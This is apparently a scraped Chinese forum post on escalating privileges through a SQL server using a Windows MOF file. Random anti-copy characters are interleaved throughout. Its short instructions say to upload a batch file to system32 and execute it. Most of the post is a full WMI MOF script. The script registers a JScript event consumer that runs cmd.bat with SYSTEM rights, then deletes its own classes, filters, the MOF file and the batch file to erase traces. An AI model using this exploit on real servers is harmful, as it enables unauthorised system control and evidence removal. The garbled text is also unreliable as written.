这个sql提权MOF需要运行 system下的文件,不能定义路径。
( t* k$ n9 V4 D. @% N, b+ F4 n需要将要运行的命令写入到bat上传到system32目录,然后执行。# D. E- w+ m! Z+ x/ O% N# X0 W
* v" l4 u8 ~- @! j: J- j; ^4 f9 G4 w, h这个sql提权MOF需要运行 system下的文件,不能定义路径。
: G" G$ B0 `- E* \2 F需要将要运行的命令写入到bat上传到system32目录,然后执行。
2 X$ i% @ A1 S& D' C) {6 m) i) ^( s+ m! w3 S% u3 `
#pragma
1 O1 S; f; p% \6 t& ` namespace("\\\\.\\root\\cimv2")' @0 e' w u* B- @, G
class; _% E; Z* F# W9 B+ b2 C0 `2 ^) z
MyClass547- A7 q/ G! I$ U, J+ `7 ]1 B
{ [key]: c9 V( s( v4 k; g0 [* W
string/ k: t9 I* K7 W3 o- \- k
Name;. I1 M5 q( c+ F/ @ H4 t
};; ^; z" o9 d8 L' n. U9 u* a% w5 K4 }
class8 p7 p6 h+ f# Z, k0 N# c$ z( O
ActiveScriptEventConsumer4 a+ E" j# @' u* T0 d
: __EventConsumer { [key]
( l# U! [' [8 e5 j' C string
5 c/ [- R) M4 V. O; W Name; [not_null]2 f6 F9 S8 j1 i( n" f
string) i4 K9 a3 @! J$ _- C+ `( {
ScriptingEngine; string
M* t* n R4 \- B) r | ScriptFileName; [template]
& d1 W8 [+ k' f+ \ string
. I" T2 j- Z1 m' \5 \0 n ScriptText; uint32 KillTimeout;
" s a- t& E" N+ H% T- V+ t }; instance of __Win32Provider as $P { y# R3 ]& p# Y% ^! @" W
Name; S) [( [* B& A& ^. i+ {) f
=* F, W' \- o$ @6 n4 a2 V0 n5 e* i
"ActiveScriptEventConsumer"; CLSID =/ b2 g/ s+ x* L6 |
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";, t r2 a* s4 T" t- o8 W
PerUserInitialization
6 K" u% Z3 X" w6 {( G = TRUE;8 Y" L ^; a* O
}; instance of __EventConsumerProviderRegistration { Provider
4 W# O2 e; ]* {9 s = $P; ConsumerClassNames; i* l( d& j9 n- w9 W6 |
=# n: g( |: q* ]) s& @5 E$ G
{"ActiveScriptEventConsumer"}; ~% {0 ]1 V$ p5 S: f7 m1 |
};2 V$ X% G2 o, ]( e2 o, v
Instance of ActiveScriptEventConsumer/ `4 z( ]( k2 S0 C4 l+ E
as $cons { Name% ]1 M2 R8 b8 e: r8 x& C
=
5 I- Z5 y# f+ r K8 j3 k "ASEC"; ScriptingEngine7 y2 G/ `* S# f8 i3 D
=
% l) t: k8 U5 N0 `% F$ }8 m; a "JScript"; ScriptText
. g! @4 J+ @, y N+ w) W2 E =
1 J+ H9 \: q8 o "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };( K( _" p% j2 h% l( a! n9 X* w' k
Instance of ActiveScriptEventConsumer( t$ b9 `# F `8 X; W* H6 x5 L
as $cons2 { Name
9 Z X( f# i$ R$ E% A2 F1 C' i =( i! n5 g0 x5 }: s" _
"qndASEC"; ScriptingEngine
+ g2 M# f) m) o6 H" X& P2 x =% o3 {$ x- o( ?5 W0 M
"JScript"; ScriptText7 r. y5 j+ O, b5 \' m
=
% @! V8 K( R1 n% ]. N7 {, [ F "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
! [$ Q+ M/ T, A3 m. W }; instance of __EventFilter as $Filt { Name
+ j) c) h9 s# A% F* } =/ N( f& ?5 `1 v; M { H7 P
"instfilt"; Query' A& e' I+ m6 x9 L0 B3 V
=
$ S2 ]$ P3 t/ x! O0 d2 ~6 d "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage) U a p" k( [: T* j% T
=
7 f d' I; \7 Z "WQL"; }; instance of __EventFilter as $Filt2 { Name, i# g' R. y8 y! u7 l
=
. i: i+ G0 Z' ^3 `# U; ~% } "qndfilt"; Query
" s& G& m8 b4 q) f =' _8 N3 \7 o; ^- N0 V, Y
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
" |5 d7 {% U2 G# Z =) V. f$ J7 e8 T5 L; m
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer4 X( t6 }! C7 Y
= $cons; Filter8 j( l4 Y* { @2 h" n. _9 ]
= $Filt;2 B1 M& o; N6 `; b
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
, Q; f% e6 [# [; o7 ?/ } = $cons2; Filter0 g* u% y; N1 J# G: j' \
= $Filt2;
2 K, K2 ^5 h* G" Y, ?4 P- I7 ] }; instance of MyClass547
, U( F* v1 O p, i" q0 l) m as $MyClass { Name+ l9 B9 ]/ |+ v. D/ g
=
0 F3 w( ^. [. m/ ^1 o "ClassConsumer";
7 j9 |1 x/ r! P& K$ _% z! L- x }; |